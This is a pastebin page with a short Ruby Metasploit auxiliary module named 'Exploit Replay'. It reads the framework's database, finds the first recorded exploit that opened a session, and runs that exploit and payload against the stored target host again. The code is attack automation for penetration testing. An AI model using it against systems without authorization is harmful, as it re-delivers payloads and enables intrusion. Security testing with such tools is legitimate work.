Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- require 'msf/core'
- class Metasploit3 < Msf::Auxiliary
- Rank = ManualRanking
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Exploit Replay',
- 'Description' => %q{
- Replays the first attack recorded in the database as having opened a session
- },
- 'License' => BSD_LICENSE,
- 'Author' => ['chao-mu'],
- 'References' => [ ],
- 'Targets' => [ [ 'Wildcard Target', { } ] ],
- 'DefaultTarget' => 0
- ))
- end
- def run
- framework.db.events.each do |e|
- next unless e.name=='session_open'
- info = YAML.load(e.info) rescue e.info
- next unless info[:via_exploit]
- run_exploit(info[:via_exploit], info[:datastore])
- break
- end
- end
- def run_exploit(exploit_name, options)
- payload = options['PAYLOAD']
- print_status "Delivering #{payload} against #{options['RHOST']} by way of #{exploit_name}"
- exploit = framework.exploits.create(exploit_name.sub('exploit/', ''))
- exploit.exploit_simple(
- 'Options' => options,
- 'LocalInput' => self.user_input,
- 'LocalOutput' => self.user_output,
- 'Payload' => payload,
- )# 'RunAsJob' => true)
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement